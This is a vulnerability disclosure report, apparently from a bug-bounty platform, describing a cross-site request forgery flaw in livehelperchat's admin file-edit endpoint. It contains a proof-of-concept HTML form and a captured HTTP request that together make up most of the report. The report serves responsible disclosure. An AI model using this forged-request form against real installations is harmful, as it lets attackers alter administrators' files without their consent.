Cross-Site Request Forgery (CSRF) in livehelperchat/livehelperchat

Valid

Reported on

Aug 24th 2021


✍️ Description

csrf bug to update uploaded-file

🕵️‍♂️ Proof of Concept

Bellow request is vulnerable to csrf bug to update uploaded-file.

<form action="https://demo.livehelperchat.com/site_admin/file/edit/2" method="post" enctype="multipart/form-data">
<p><input type="hidden" name="persistent" value="on">
<p><input type="hidden" name="UploadFileAction" value="Update">
  <p><button type="submit">Submit</button>
</form>

request

POST /site_admin/file/edit/2 HTTP/1.1
Host: demo.livehelperchat.com
Cookie: PHPSESSID=b8cdt7e1436rstdhbgq5mjqskq
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------326191112837912634152772338725
Content-Length: 309
Origin: https://demo.livehelpedfgfdrchat.com
Referer: https://demo.livehelpedfgfdrchat.com/site_admin/file/edit/2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------326191112837912634152772338725
Content-Disposition: form-data; name="persistent"

on
-----------------------------326191112837912634152772338725
Content-Disposition: form-data; name="UploadFileAction"

Update
-----------------------------326191112837912634152772338725--

💥 Impact

csrf bug

Occurences

We have contacted a member of the livehelperchat team and are waiting to hear back 3 months ago
Remigijus Kiminas validated this vulnerability 3 months ago
ranjit-git has been awarded the disclosure bounty
The fix bounty is now up for grabs